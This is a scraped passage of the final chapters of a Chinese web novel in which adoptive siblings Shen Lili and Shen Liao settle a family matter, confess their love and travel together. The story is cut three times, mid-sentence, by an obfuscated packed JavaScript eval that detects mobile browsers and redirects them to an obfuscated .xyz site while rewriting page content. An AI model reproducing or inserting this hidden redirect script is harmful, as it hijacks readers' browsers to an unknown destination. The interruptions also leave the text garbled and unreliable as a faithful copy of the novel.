视频中的人正是关瑶和沈君良。两人端坐在桌前,从头到尾,将此次出差东城偶然发现的不法分子犯罪证据的由来讲清楚,并保证,文件中其他照片,以及他们将要说的地点与人物信息,全部真实确凿。 之所以没有选择当场报警,则是得知这伙人在东城警局也有内应。 走投无路,只好将证据先保留。 却没想到,用来当做保底的举措,也成了他们最后一步棋。 视频里的关瑶素面朝天,仍然美丽非凡,和沈君良交握双手,两个人的目光始终坚定,只有提到家里两个孩子时,才流露出痛苦。 “我最放心不下的,其实是小燎。” 关瑶侧头看向爱人。 沈君良垂下眼,说:“那个孩子心事重,最容易钻牛角尖,太独立,也太脆弱。但如果有离离……” 关瑶接着他的话:“有离离在,他不会让自己倒下去。” 他们沉默了好几秒,才轻轻抹去眼泪,接着讲述事件过程。 命运无常,再强大的人,也不可能知道下一秒会发生什么。 沈离离和沈燎并肩坐在桌前,看着视频里,并肩坐在一起的关瑶和沈君良。 一直到视频播放结束,画面定格,沈离离才抬手,用袖子擦去泪水。 沈燎把她拉进怀里。 他们都没有说话,就这样安静地拥抱。 这个拥抱没那么紧密,也没那么用力,但两个人都知道,他们的灵魂已经流入彼此身体里,再也分不开。 第二天,沈离离将U盘原封不动地交给警方。做完笔录出来,刚好是中午饭点。 八月初,盛夏尚未结束。 烈日灼灼,光明洒满大地。 沈离离抬手挡了挡太阳,抬头就看见沈燎。 他只穿了简单的白衣黑裤,似乎没有开车来,静静站在树荫下等待。和以前等她的每一次都一样,没有看手机,也没有走神发呆,只是安静地站在那儿,像树木旁的另一棵树木,不移动也不喧哗,根系稳固,等待雨露。 她看着看着,突然就笑了,拔腿小跑过去,炮弹一样冲进他怀里。 沈燎笑着把她接住,“跑慢点。不怕我没站稳,拉着你一起倒下去?” “不会的。”她仰头,笑望着他。 他微微挑眉,“这么信任我啊。” “就是这么信任你呀。” 沈燎看了她一会儿,轻声问:“一切顺利吗?” “很顺利!”她牵住他的手,往前走,“而且我有一种预感。” “什么预感?” “我们以后也会一直这样顺利下去。” 他低下头,看她的侧脸。沐浴在阳光下的女孩子,脸上细小的绒毛也闪闪发光,眼睛弯弯的,脸上是久违的,轻松的笑容。 沈燎也抬头,看向前方道路,说:“嗯,我也觉得。” - 彻底处理完这件事,沈离离觉得自己整个人都通透了很多。 和陈夏安在奶茶店再见时,她发现,自己竟然能心如止水地把过去讲出来,不像是一段回忆了,反而像个故事。 陈夏安鼻尖泛红,从对面,移到她身旁坐,搂着她,轻轻蹭她的脸,说:“最近发生的事儿也太多了,我都要有点相信宿命了。” “什么宿命?” “也不能说是宿命吧,就是那种冥冥之中的因果。原来这世上所有事情都是有开始和结尾的,像故事一样,命运都安排好了。” 沈离离抬起脑袋,想了想,“这样看的话,命运其实还挺公平的。” “嗯?” “既然是故事,那就全都有高潮和低谷。挺好的。” 陈夏安静了好一会儿,叹了口气。 沈离离笑着拍拍她的肩膀,“没关系啦,反正都过去了,都会过去的。” “沈离离,你怎么能说得那么潇洒。” “帅吧?” “……”陈夏安噗嗤一声,揉了揉眼睛,“帅,帅飞了。” 两个女孩取了奶茶,挽着手在商城闲逛,慢悠悠走,慢悠悠聊。 路过一家服装店,竟然听到了熟悉的音乐声。 两人登时四目相对,同时笑了。 里面放的是“象限海”的第一首原创歌曲,与乐队同名。 “你的歌声诶。”沈离离说。 陈夏安:“仔细听,还有你的琴声。” 两人再次笑出声来。 走过一小段路,陈夏安忽然说:“离离,我爸妈下个月就出去了。” 沈离离转头看她,“去国外?” “嗯,”她不再眉飞色舞,脸上的神情很平静,很温柔,“我还是决定留下来,不管未来会发生什么,但目前的我,最想要的还是留下来。” 沈离离有些发怔,望着她,“不怕选错吗?” “选择再怎么离谱,也不会错的吧,”她笑了笑,说:“只是在走自己的路啊。” 与陈夏安分别后,沈离离吹着盛夏夜晚的风,踩着路灯的光回家了。 远远看见屋子亮着灯,她的步伐更加轻快,最后小跑起来。 打开门,忽然听见有人在唱歌,仅仅一秒,声音戛然而止。她狐疑地走进去,喊了声:“哥!” 沈燎从书房出来,清了清嗓子,“回来了。” 她照例冲过去抱了抱他,仰头笑:“回来了!” 他揉揉她的脑袋,也忍不住笑道:“冰箱里有一盒巧克力千层,你最喜欢的那家甜品店买的。” “沈燎万岁!”沈离离立刻溜达到厨房,打开冰箱,边说:“对了,我刚好像听见音乐?” 沈燎:“哦,我在放歌听。” 她点点头,没多想。把千层拿到了客厅茶几上,找了个小坐垫,坐在沙发前吃。 沈燎也走过来,跟她一起,坐在小坐垫里。她递了把叉子过来,他摇头,“太腻了,不爱吃。” 沈离离轻哼一声,“挑嘴。” 他望着她笑。 吃了两口,她发出心满意足的叫声,呜呜了好半天。过了一会儿,才说:“哥你知道吗,安安今天跟我说了一句特别厉害的金句。” “有多厉害?” “大概意思是,人生这条路上,不管怎么选择,其实都不会错,我们都只是在走自己的路。” 沈燎想了想,点头表赞同,“确实是这样。” “是吧……”她说着,眼睛忽然一亮,对他指了指酒柜。沈燎挑眉一笑,没有拒绝,起身去拿了瓶低度数果酒和两只杯子。 沈离离目光追随着他,一边说:“只是有时候,人都很复杂,选择都很矛盾,得到一样就要失去一样。” 沈燎走回来,重新坐下,慢条斯理地倒酒,脸上挂着淡淡的笑,“怎么突然想这些,还在纠结出国的事?” 她摇摇头,“不是我自己的事情啦,是想到你了。” 他指尖一顿,“我?” 沈离离放下了小叉子,但没有动酒,而是杵着下巴,也偏头看着他,问:“你当初,是怎么下定决心做出选择的?” 客厅里只开了暖黄色调的弱光,照在身上,像是把人拉回了黄昏时分。 安静,温馨,同时又有些疲倦。 夜晚和黄昏都适合谈心,这一刻,两个时间重叠了。 沈燎垂下眼,喝了第一口酒,然后盯着杯子,缓缓说:“离离,我当初只有两个选择。” 一旦开口,就意味着他接受了这场谈心的邀请。 沈离离轻声问:“哪两个?” “第一个通向绝望,第二个通向你。”他再次喝酒,接着说:“我只可能选你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461455|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那应该很累吧。绝望的话,就什么都不需要做了,等待就好了。” 她没有喝酒,转回头,继续吃千层蛋糕,却忽然感觉巧克力有点苦。 他笑了一下,低声重复:“但我只可能选你。” 沈离离的眼眶顿时就红了。 “沈燎,现在可以告诉我了吗?这三年,到底发生了什么。” 他原以为事情很复杂,三言两语难以概括全貌。 但真正开口的时候,才发现,当一个人真正放下了某件事之后,这件事就变轻了,变得简单又俗套。 “那天晚上,我接到陆凯鸿电话,说陆涵音查出胃癌晚期,叫我过去一趟。到了之后,我……陆涵音母亲坚决不同意把陆涵音的那份财产给我,说如果陆凯鸿敢给,她就敢把当年的事情昭告天下。他们吵得很厉害,我才知道……” 他忽然顿了一下,吞了一杯酒,才继续说:“我才知道我不是那女人亲生的。” 沈离离睁大眼睛,彻底呆住。 沈燎看了她一眼,反而露出个轻松的笑,“一切都能解释清楚了,不管是他们更宠爱陆涵音,还是从小对我不管不问,全都符合逻辑了。” “哥……” 她对上沈燎的目光,察觉到,他的眼睛里没有痛苦,很安宁,很平静,瞳孔里只映着她的脸。于是她话音又止住了。 “我其实消沉过很长一段时间,在想,要不就这么算了,烂就烂吧。”他低声说,“但后来有一天,陆涵音找上我,给了我一个机会,说我不是一个人,我还有个妹妹在这世上,未来那么多困难,我不能留她一个人面对。” 她捂住嘴巴,倔强地睁着眼睛,视线还是模糊了。 他却弯唇笑了,用拇指轻轻抹了抹她的眼角。 指腹有点粗糙,又有点滚烫,也可能是泪水太凉。 沈燎自顾自说着:“我们都很无辜,也都在走自己的路。” 沈离离哽咽道:“但总有人错了。” “是啊,总有人是不值得被原谅的。” 陆凯鸿从来都爱着沈君玉,和陆涵音的母亲只是利益联姻。那天晚上,他喝醉酒在外面招惹了别的女人,也可能是把她错认成了某个人,然后有了沈燎。 那女人把孩子送到陆家,要了一笔封口费,从此销声匿迹。为保所谓的脸面,陆凯鸿和陆涵音的母亲虽明面说那孩子是亲生,其实早已离婚,分居两地。 这件事像是墙上的霉斑,被刷上一层又一层漆来掩盖,直到墙壁倒塌。 因为一夜的错误,陆凯鸿妻离子散,似乎获得了应得的痛苦。这个家里每个人都是受害者,他至今也认为自己是受害者。 沈离离靠在沈燎肩膀上,讷讷地说:“如果当初沈爷爷同意他们在一起,是不是不会有这些事了……” 沈君玉也不会嫁给不爱的人,又离婚,留下一个从小缺乏关爱而冷漠孤僻的林砚洲。 沈燎低头看她,笑了笑,“那样的话,我也不会存在了。” 沈离离一激灵,立刻去抓他的手,“那还是不要了,就,就这样吧……” 说着,她忽然就在想,原来大家都是自私的。 沈燎说:“离离,世界上没有如果,过去的全都会过去。” 她轻轻点头,声音重新坚定起来,“过去的已经过去,我们只要走自己的路就好了。” 在这条路上,会造成错误的不是选择,每个人都会被赋予选择的权力。 命运也早就说过,不要回头,一直往前走。 沈离离抬头,看向沈燎,“所以,现在可以把那些邮件全部发给我了吗?” “……那些啊。”沈燎试图移开目光。 她两手掰正他的脸,“你是在害羞吗?” “肯定会有点难为情吧……” “那来交换吧。” 他一顿,看她,“交换什么?” “情书。” 48. 第 48 章 “先说好,不管写成什么样,都不准嫌弃。” 沈燎好奇心被点燃,只想快点看到。揉揉她的头发,“怎么可能嫌弃。你会嫌弃我写的那些流水账吗?” “肯定不会啊。” “那不就行了。” “对呀,那不就行了,”沈离离看着他笑,“有什么好害羞的?” “……” 睡前,沈离离收到了沈燎发来的三百封邮件,并把自己高中时写的那一沓草稿纸递给他。 两个人对视,然后同时移开眼,笑出声。 互道晚安,然后各自合上了房间门。 沈离离关了房间大灯,只开了床头灯,钻进被窝,露出脑袋和手臂,捧着手机开始从头看那三百多封信。 和沈燎说的一样,内容跟普通日记差不多,写了他那天做了些什么,又和哪些人聊了些什么,出现频率最多的,是吐槽国外的饭很难吃。 只是在这些流水账里,总会穿插着他的思念。 应该说,通篇看下来,沈离离从这些文字中,感受到了密密麻麻的思念。 无论是思念过往的岁月,还是思念她,全部都是那样隐晦又深切。 沈离离不知道自己看了多久,中间眼睛发涩了一会儿,再坚持看几分钟,困意很快过去,脑袋重新清醒,她就接着看下一封。 看完了两百多封,她瞄了眼时间,停顿了一下,又往房间门望去。 两秒后,沈离离下床,走到沈燎房间外。 又犹豫两秒,她低头盯着门把手,然后抬手,直接打开了门。 他从没反锁过房门。 房间内,一片黑暗,寂静无声。 沈离离悄悄走进去,下一刻,就被乍然响起的声音吓了一跳。 “离离?” 她愣在原地,不敢动弹,“……哥,你没睡着啊?” “嗯,睡不着,”他的声音在黑暗里显得有些低沉,但依然温柔,“怎么了?” 沈离离沉默着。 沈燎没有动作,静静等待她。 眼睛逐渐适应黑暗后,再睁开,已经能借窗帘透进来的微弱光线看见人的轮廓。 他坐在床头,看着她的身影走近,再走近,一直到了他床边,离他只有几步距离。好像连她身上的气味也能闻到了。 沈离离说:“可以跟你一起睡吗?我也睡不着。” 可怜巴巴的语气。沈燎猜测,她肯定还冲他眨了眨眼睛。 他想象着,忽然就轻轻笑了声。 随后,他回答:“可以。” 得到准许,沈离离立刻就钻进他的被窝里,趁他没躺下,迅速占据理想位置,然后一动不动,大有说什么也不会挪窝的意思。 沈燎再次失笑,给她掖了掖被角,也躺下去。 沈离离侧头,视线去寻找他,“我小时候是不是也喜欢来找你一起睡?” “还好吧,”他回想了一下,“也就害怕的时候来,停电,打雷下雨之类的。” “我们家还停过电吗?” “停过一次,那天晚上下暴雨。” “我完全没有印象了。” “很正常,那时候你还是小学生,小学生不记事。” “谁说的!小学生都学鸡兔同笼了,怎么可能不记事。” 沈燎想想,换了个措辞:“忘性大。” 沈离离:“说得好像你比我大很多一样诶。” “就是大很多啊。”不知想到什么,他忽然笑了。 “也就五岁。” “五岁……”他轻声重复了句,然后说:“我像你现在这么大的时候,你才刚上高中。” 沈离离没吭声,默默去找他的手,抓住。 他也握住她的手。 宽大温热的手掌,修长的指节……他的体温似乎总比她的高,从小到大,一直如此。 沈离离忽然才想起来,她最常来找他睡的时候,应该是冬天。哥哥像暖炉一样,有他在,她就不会冷,也不会寂寞。 沈离离忽然侧身,一寸寸挪过去,靠近他。 她小声说:“可是现在我已经长大了。” 沈燎的身躯僵硬一瞬。 沈离离:“沈燎,明天是周末。” 他沉默好几秒,再开口时,声音微哑,“不想睡觉了?” “不睡也可以。” 她轻易挣脱了他的掌心,手落在他的腹部,他反应明显,下意识绷紧肌肉。她还是不老实,手指缓慢往下,身子又往他那边挪过去,胸膛几乎贴着他的手臂,然后轻轻抱住他的腰。 沈燎的喉咙里溢出一丝笑,有些无奈,“沈离离……” 她也笑了:“在呀。” …… - 开学前,沈离离提议说:“我们去旅行吧。” 沈燎自然奉陪,问她:“想去哪里?” 明显是早就想好过,沈离离没什么犹豫,说:“就去澜西,上一回我们没有看的花田,没有逛的集市,全部补回来!” “行啊。”他点头,“这周末就出发?” “好!” 于是周末早上,两人六点钟就起床。 沈离离睡眼惺忪,又一次被沈燎架上车。昨晚明明什么都没干,已经睡得很早,起床还是困难。 爬上车,沈离离才忽然说:“对了哥,我的零食带了么?” 沈燎没回答,低头,给她把安全带扣好。 他的沉默让她惊醒了,“不会吧,不会真忘了吧……” 沈燎才慢悠悠说:“放心,已经塞箱子里了。” 她抬眼看他,“故意不回答我的?” “不是回答了?”他笑。 沈离离盯着他,忽然凑近,飞快啄他的唇角,轻轻咬了一口。 沈燎登时愣住。 沈离离已扭头看窗外,眉梢挂着神清气爽的笑。 几小时后,坐上飞机。 沈离离下好了电影,摆在小桌板上,把另一只耳机递给沈燎。 他接过来,问了句:“什么电影?” “上次,你生日那天晚上,在东城没看完的那一部。” 他想起来了。 当时看到一半,因为提前得知是悲剧,他们没有再看下去。 沈燎看她,“现在能接受这个结局了?” 沈离离诚实道:“不能。” “那怎么想看这个?” 她安静了两秒,说:“可能是觉得,结局已经摆在那里了,不管好还是坏,故事不应该中断。” 断在最美好的地方也不该吗? 他很想这么问,但最终,什么都没有说。或许是已经知道她的答案。 这半截电影看完,沈离离流了好久的眼泪。她关掉平板,手指与沈燎紧紧相扣,靠在他肩膀上,闭上了眼睛。 “困了?”他轻声问。 “不是,就是想你。” 他垂下眼,看着她的脸。无论何时何地,他眼里的沈离离都是如同透明宝石一样美丽的存在。 沈燎也歪下头,靠着她的脑袋,闭上眼。 飞机在空中航行,但他的身体渐渐下沉,仿佛落入地心,被全世界包裹环绕。 一个小时后,飞机降落,抵达目的地。 行李有人直接送到了酒店,两人出了机场,吃了饭,直接去名景花田。 花田在距离澜西市区三十公里的一个镇子里,因为远近闻名的花田,这座古镇已经完全被开发成旅游区,没那么原生态,只方便游玩。 “直接去花田,还是逛逛?” 沈离离:“来都来了,慢慢逛吧。” 沈燎点头,拉住她的手,悠闲地往前走。 正值暑假,还是周末,镇子里游客不少,热闹非凡。 太阳有点大,澜西地区海拔较高,紫外线也强。没一会儿,沈离离就被晒蔫了。 两人找了个阴凉处,并肩坐在长椅中,看着行人来来往往。 沈燎转头,问她:“想不想吃冰沙?” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467053|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离离立刻点头,左右看看,纳闷:“我没看见有卖。” “等着。”他说了句,然后起身。 沈离离疑惑,瞧着他直接走进对面一家小吃店,不一会儿,就带了一杯冰沙走出来。 递到她手里,凉得沁入心脾,瞬间解暑。 “你怎么知道那里有?刚才路过都没看见。”沈离离舀了一勺含进嘴里,发出了享受的呜呜声。 沈燎:“招牌没写,但里面有做冰沙的机器。” 她停了一下,想起了某一封邮件里,沈燎写,由于天气热得让人发疯,他屋子里多了一样顶奢侈的东西——冰沙机。 两人很快解决掉冰沙,把杯子还回店里。充满能量,继续前行。 一阵风吹过,头发和衣服,树叶和花草,整个世界都在随风飞舞。 沈离离空出一只手按紧脑袋上的帽子,生怕被吹飞了。 忽然,听见沈燎对她说:“离离,抬头。” 她顺着他手指的方向,放眼望去。无边无际的花海从路旁延伸到天边,在风中整齐摇摆,像金色海洋的波浪。 天空蔚蓝,大地金黄。 沈离离和这条路上的所有游客一起,被这美景震在原地。 直到唰一下,帽子哗啦地被吹飞了。沈离离猛然回神,立刻拔腿去追帽子。 没想到这风和帽子像是商量好了,几秒的时间,就已经吹得又高又远。沈燎飞快拽住沈离离的手,阻止她一脚跌进花田里。 “没事,别要了,喜欢的话等回去重新买。” 沈离离站住脚,仰头看着那顶仍旧在随狂风乱飞的帽子,它已经飘到花田上空。 风也吹乱了他们的头发。 她突然笑了笑,“那就当送给她了。” “嗯?送给谁?” “花。”她笑着说,“这样,也算留下点什么了。” 就算后面会被维护人员捡走扔掉,但在这一刻,这片花田带走了她的礼物。 “哥,我们拍一张合照吧。” “好啊。” 沈燎抬头,思考去找谁来帮他们拍,就听见沈离离说:“不用拍人,就拍……拍影子吧。” 她拉着沈燎,走到路边,太阳在身后,风也在身后。影子落在花田里,一高一矮,相互依偎。 沈燎低头看她,嘴角含笑,“要不要我来拍?” 沈离离摇头:“我可以。” 她单手拿着手机,点开相机,对着鲜花中的一对影子找了几秒的角度,拍了好几张几乎一模一样的照片。 拍好,沈燎微微弯腰去看,“这几张不都一样?” “不一样呀,”她来回滑动,“这张有点曝光了,这张,头发被吹乱了……” 离得很近,她身上的气味又一次强势涌入他的鼻腔,阳光下面,皮肤更显得白皙。他不知道应该看手机里的照片,还是看近在咫尺的她。 絮絮叨叨完,沈离离抬头问:“选哪张?” “嗯?”沈燎对上她的眼睛,有点迷茫。 沈离离又说了一遍:“我想发朋友圈,哪张好一点?” 她看着他眨眼,很期待。 沈燎对着那几张一模一样的照片,故作镇定,沉思片刻,“第二张吧。” “我也最喜欢这个!” 沈离离迅速编辑好文案图片,点击发表,收起手机。 沈燎看她一本正经的表情和红通通的耳根,笑起来。 在古镇逛了一个下午,走得腿软,回到酒店沈离离累得只想躺下。 一直到洗完澡,趴在床上滚了两圈,疲惫消除大半,她才想起来打开手机查看朋友圈。 后知后觉想,这算不算是官宣? 等一下,官宣…… 几秒后,沈离离发出尖叫。 浴室的水声立刻停了,沈燎披上浴袍就冲出来,身上还在不停滴水,“怎么了?!” 沈离离把脑袋埋进被窝里,不敢看他,“我发朋友圈忘记屏蔽姑姑了。” “……” 49. 第 49 章 “就这事?” “这不严重吗?” 沈离离抬头,骤然看见沈燎袒露的胸腹,硬朗结实的肌肉…… 漆黑的发丝,下颌骨,都在滴水,水珠顺着肌肤下滑,在灯光下微微闪烁。 对上眼睛,同样湿漉漉的。 她顿时脸一热,又把头埋下去了。 “没事,你看看姑姑有没有主动给你留言或者发消息,没有就不用在意。” “嗯嗯。”她点点头,鸵鸟似的。 安静好几秒,没听见脚步声,沈离离又稍稍抬头。 沈燎还是站在原地,一边用浴巾擦身体,一边笑眯眯望着她。 沈燎:“这就害羞了?” “……” “又不是没看过,害羞什么,不是连摸都摸过好几遍了?” “沈燎!”沈离离脸红得滴血,随手拿了个枕头扔过去。 “哎。”他单手一把抓住枕头,脸上笑意不减。 沈离离点开朋友圈,查看点赞和评论。 如意料之中,果然炸锅了。 舍友们整齐划一地在下面刷了一排9999,不太相熟的朋友都很震惊,好几个发消息问她这是何方神圣。 陈夏安评论:【提前度蜜月啦?】 沈离离笑着回她:【早着呢,旅行是旅行,蜜月是蜜月。】 再往下滑,终于看见了让她心脏狂跳的备注。 姑姑:【这是在澜西花田?】 沈离离手心冒汗,回复:【是的是的!】 怎么不问旁边的人是谁? 她心情忐忑,切回聊天区,开始慢吞吞地回复消息。选择延迟回复就这点好,很多人不在线,不会拉着她继续聊。 忽然,手指一停,点进对话框。 杨敬澄:【撤回】 杨敬澄:【撤回】 杨敬澄:【离离,你谈恋爱了?】 “你们乐队那个小子?” 她仰头,对上沈燎的眼睛。他擦干了身体,已经穿上睡衣,不过穿得十分随意,腰间带子松松地系着,仍旧敞露大半胸膛。 沈离离抿着唇,重新看回手机,深吸了一口气。 “你还记得他?”她说。 沈燎笑了一声,在床边坐下,偏头看着她,“我撞见过他跟你告白。能不记得?” 沈离离停了一下,想起是哪一天,惊讶地抬头看他,“你当时就看见了?” 他一字一顿:“全程目睹。” 沈离离盯着他没什么表情的脸,忽然笑了,“沈燎你是不是吃醋了?” 他呵了一声,“我吃什么醋,他成功了么?” “他是没成功,但某人连告白也不敢诶。” “……沈离离。” 她学着他刚才的语气,笑眯眯:“哎。” 沈燎盯着她,忽然别过头,忍不住笑。 见他忽然起身往卧室外走,沈离离从床上爬起来,问他:“去哪?” “准备准备,告个白。”他说。 沈离离愣了一下。过了一会儿,看见他回来,顿时就睁大了眼睛,倒吸一口气。 “不会吧哥,你……” 沈燎手里拿着一把尤克里里,眉梢微微上挑,脸上带着笑,“唱得难听可以锐评,但不准嫌弃。” “啊啊啊,不会嫌弃的!”她兴奋得想大叫。 忽然想起端午假期,也是来澜西度假,也是在酒店里,作为他提前离开的惩罚,她让他陪她去看演唱会,还让他学会一首歌唱给她听。 可最终他们一同提前离开,沈离离也把玩笑话一样的惩罚抛在脑后。 虽然没有一起去看演唱会,但他居然真的学了歌。 沈燎望着她笑了声,随后坐到床对面的沙发里,手机支架摆在桌上,屏幕上应该是曲谱歌词。 沈离离不累也不困了,盘腿坐在他对面,双眼发亮。 “咳咳,”沈燎战术性地清了清嗓子,抬眸又看她一眼,“事先声明,唱得很……一般。” 她拼命摇头,“就算跑调也没事,我喜欢。” “还没听就喜欢了?” “喜欢,就是喜欢。”她神色认真。 他笑了笑,低下头,喉结滚动,微微拧眉,态度也认真起来。 第一个音被弹响的时候,沈离离就猜到了他要唱什么歌,实在是太熟悉的编曲和旋律。 他弹得有点慢,什么拍子节奏全都不太对,磕磕绊绊,但手指灵活,没有错音。前奏即将结束,沈燎下意识抬眼,对上沈离离的笑容。 他愣了半秒,拍子又慢了,心却变得愈发柔软。 沈燎开口唱出来。 清晰的咬字,音色略低但并不沉,毫无技巧,是纯粹在用嗓子低吟,有点笨拙,又有点可爱。这是沈离离头一次觉得他可爱。 沈离离轻轻拍手,身体和脑袋跟着左右摇摆,给他打拍子。 她脸上的笑甜蜜得压不下去,只是这样看着,听着,都觉得幸福得像一场美梦。 “它是敲打左胸的叛徒,瓦解所有佯装的从容。它是穿透时空的暗号,筑造世界最小的发射站……” 他偶尔抬眸看她,对上她欣赏的眼神,嘴角上扬,歌唱会更坚定几分。 到了曲子高潮,沈离离再也忍不住,笑着轻声跟唱,配合他撇脚的节奏,毫无章法的演唱。 “候鸟用翅膀丈量云层时,我正用回忆丈量你的影子。当黄昏按下暂停键之时,心跳成为唯一计时方式……” 两个人的声音合在一起,一重一轻,一低一高,一粗一细。 曲终时,安静对视了好一会儿,眼睛含笑,嘴角也含笑。 “这是告白么?”沈离离歪头看他,笑着,故意问。 “这不是吗?”他放下尤克里里,起身,朝她走过来。 沈离离钻进他的怀抱,脸埋进他颈窝,声音小小地漏出来:“自恋鬼。” 沈燎拥着她,笑道:“不是自恋,是感同身受,所以才理解。” 脖颈处有湿润感,凉凉的,幸福的眼泪。他侧头亲吻她的头发,想逗她笑:“不是,沈离离老师,我唱的有那么难听吗,都难听哭了?” 沈离离说不出话,一个劲摇头。 他轻轻拍她的背。 良久,她抬起脑袋,轻声问他,“哥,你到底什么时候开始喜欢我?” 沈燎没立刻回答,在认真回想。 沈离离:“在国外的这三年?” “我不知道,”他低头笑了笑,“是真的不知道,可能比这三年更早,但我真想不起来具体是什么时候了。” 又或许,其实根本没有那个具体的时刻,没有一见钟情,大概也不算日久生情。她只是出现了,走进他的世界,他就已经无法让自己远离她。 直到现在,沈燎也分不清这到底是一种什么样的情感。 爱需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469265|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要分门别类吗?他不知道,也不太在乎答案。 此时此刻,不就足够了。 第二天,沈离离才斗胆发消息问姑姑,是否知道影子的主人是谁。 事先有过心理建设,于是看见回复的时候,她竟然并没有太惊讶。 姑姑:【是你哥吧?看身高就很像。】 沈离离:【您不说我吗?】 姑姑:【说你做什么,又不是什么大事。】 姑姑:【(偷笑)而且我很早就猜到了。】 沈离离大惊,把聊天记录拿给沈燎看,却没想到后者也满脸平静,说:“很正常,姑姑其实对这方面挺敏感的吧。” 她还是不可置信,“我以为我们藏得很好。” 他望着她,笑而不语。 接着,沈君玉打来了一个视频电话,沈离离手忙脚乱地接听了,沈燎倒是淡定得多。 见她慌乱,沈君玉反而笑着宽慰:“傻孩子,担心什么,姑姑又不是那种不讲道理的人。” 沈离离:“我以为,您会有点介意这种事情,毕竟你和……” 视频里,姑姑笑容淡淡,说:“离离,我的故事已经结束了,不管结局是什么样,都是过去了。而你们的人生,没人有权干涉。又不是做错事,走错路,怕什么?” 她抿了抿唇,目光一点点坚定起来,郑重地点头,说:“嗯,我明白的。” 沈燎轻轻握了握她的手。 视频结束,沈离离继续回复消息。滑到最后,才看见昨晚被搁置的那条消息——来自杨敬澄的。 她只简单回了个嗯。很快,对方又发来:【是我认识的人么?】 沈离离:【算是吧,就沈燎,我哥,你见过的。】 对话框顶上的正在输入中持续了好长时间,杨敬澄应该是被震住了,把她身边的人全都猜了一遍,万万没想到会是沈燎。 沈离离没打算瞒着别人,他们的关系本来也没什么不正当。 直到现在,陈夏安依旧认为他们是青梅竹马,互称兄妹只当是情趣。 良久,杨敬澄:【你们……法律上,没关系吗?】 【没有呀。】 【啊?】 【你忘了,我和沈家没有关系了。】 【哦哦,是啊。】 再无话可说,估计完全懵了。不过,以他们目前的关系,也不好再多问。 沈离离其实有一瞬的恍惚,不过怀念的并不是杨敬澄,而是从前四人小乐队在舞台上激情四射的演奏时刻。 那时,他们从不为生活忧心,只为浪漫困扰,他们满怀期待,认为理想必然实现。 而如今呢?虽然变化并不太大,他们还是迷茫,充满困惑。 但青春,好像已经在悄然挥手说再见。 “离离,”身边的男人牵住她的手,“想不想去百花谷看看?挑挑喜欢的花,等回家,全部种在花园里。” “好呀!走。”沈离离熄灭手机屏幕,笑着抬起头,也拉住他的手,迈步往前走。 一年后,她即将去往完全陌生的国度学习,又是几年后,她将要面临其他选择,而人生,等待着她的还有那么多那么困难的选择。 她还是不知道自己究竟属于哪一边的世界,也不知道自己会不会走错路。 但全都不要紧了,反正无论如何,她不是孑然一身,她还有一座桥,一片花园,和一个家。 ——正文完——